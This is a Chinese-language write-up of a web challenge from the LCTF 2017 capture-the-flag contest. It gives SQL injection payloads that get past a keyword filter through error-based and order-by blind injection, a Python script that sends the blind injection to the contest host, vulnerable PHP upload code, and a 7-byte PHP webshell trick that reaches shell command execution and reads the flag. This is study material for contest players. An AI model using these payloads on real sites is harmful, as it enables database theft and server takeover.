LCTF2017真有趣,让我长了不少见识,由于时间匆忙,我也就只做了一个web题,还是折腾了不久,我觉得这题考点还是蛮集中的,故此分享下。
进去后显示:
entrance.php
There is no need to scan and brute force!
Hacking for fun!
进入entrance.php,查看源码看到
<form method ="POST" action="entrance.php"> <p>Do you want to know their secrets?</p> <p>id:<input id="pro_id" name="pro_id" type="text" /></p> <p><input type="submit" value="Submit" /></p> </form> <!-- Tip:将表的某一个字段名,和表中某一个表值进行字符串连接,就可以得到下一个入口喽~ -->
这里参数是pro_id,并且提示了下一关是由字段名+表值来组合,尝试union注入,pro_id=0 union select 1,2,3,4 4列,并且显示的位置在第2列
0x01 发现waf
当尝试 pro_id=0 union select 1,'database',3,4 的时候发现被waf,通过测试发现database、tables、columns、information都被ban了,不能从information_schema库里得到表名和列名
0x02 得到库名
pro_id=0 union select 1,2,3,4 from flag
得到Table 'youcanneverfindme17.flag' doesn't exist
这除了得到库名外,还发现可以报错注入
0x03 报错注入得到表名
网上一搜就大把mysql的报错函数,试了前面那些都不行,polygon、multipoint、multilinestring、multipolygon都被ban了,但是linestring没被ban,于是轻松利用
pro_id=0 and linestring(pro_id)
得到Illegal non geometric '`youcanneverfindme17`.`product_2017ctf`.`pro_id`' value found during parsing
得到表名为product_2017ctf
0x04 报错注入得到列名
在知道库名、表名后,可以利用报错注入得到列名
pro_id=0 and (select * from (select * from youcanneverfindme17.product_2017ctf a join youcanneverfindme17.product_2017ctf b using (pro_id))c)
得到下一列pro_name,继续报错
pro_id=0 and (select * from (select * from youcanneverfindme17.product_2017ctf a join youcanneverfindme17.product_2017ctf b using (pro_id,pro_name))c)
得到owner
继续下去,会得到列名d067a0fa9dc61a6e,然而这个列名也是被waf给ban了
0x05 order by盲注
参考文章链接 http://wonderkun.cc/index.html/?p=547
(虽然这个思路当时就是我给他讲的),下面贴出我的盲注代码
# -*- coding:utf8 -*- __author__='[email protected]' import requests import time import string def foo(): url=r'http://182.254.246.93/entrance.php' mys=requests.session() x="3 union distinct select 1,2,3,0x%s order by 4 desc" cset=string.maketrans('','')[33:127] pwd='' while True: try: for i in cset: myd={'pro_id':x %(pwd+i).encode('hex')} res=mys.post(url,data=myd).content if 'nextentrance' not in res: pwd+=chr(ord(i)-1) print pwd break pass time.sleep(0.01) except: print '_ _' time.sleep(0.5) pass pass if __name__ == '__main__': foo() print 'ok'
盲注得到7195CA99696B5A896.PHP
所以下一关就是d067a0fa9dc61a6e7195ca99696b5a896.php
0x06 只允许写入7个字节
这题是可以自己写文件名和内容,然后创建文件,并且可以访问到文件
一开始查看源码发现content处maxlength = "7",本来以为只是前端的限制,结果我通过各种写入文件后发现文件内容最多只能写进去7个字节。
尝试很多未果,最后我搜索到32c3 ctf上的一个web题也是这样限制写入7个字节,这里提供一篇writeup:
https://github.com/p4-team/ctf/tree/master/2015-12-27-32c3/tiny_hosting_web_250#eng-version
这题代码类似于:
<?php $savepath="files/".sha1($_SERVER['REMOTE_ADDR'].$_SERVER['HTTP_USER_AGENT'])."/"; if(!is_dir($savepath)){ $oldmask = umask(0); mkdir($savepath, 0777); umask($oldmask); touch($savepath."/index.html"); } if((@$_POST['filename']) && (@$_POST['content']) ){ $fp = fopen("$savepath".$_POST['filename'], 'w'); fwrite($fp, substr($_POST['content'],0,7) ); fclose($fp); $msg = 'File saved to <a>'.$savepath.htmlspecialchars($_POST['filename'])."</a>"; } ?>
按顺序POST提交下面3条
filename=p.php&content=<?=`*`;
filename=bash&content=xxx
filename=bash2&content=ls /
再访问p.php,就可以看到
327a6c4304ad5938eaf0efb6cc3e53dc.php
再POST
filename=bash2&content=cat /3*
再去访问p.php,右键查看源代码看到flag https://www.secpulse.com/archives/65812.html
详细的过程:
p.php的<?=`*`; 其中的*会展开成当前文件夹下的文件,并按字母顺序排列
大致上等价于
<?php echo `bash bash2 index.html p.php` ?>
访问p.php的时候,bash就会执行bash2这个文件里的命令,后面的文件无视掉
通过修改bash2这个文件的内容就可以构造命令执行。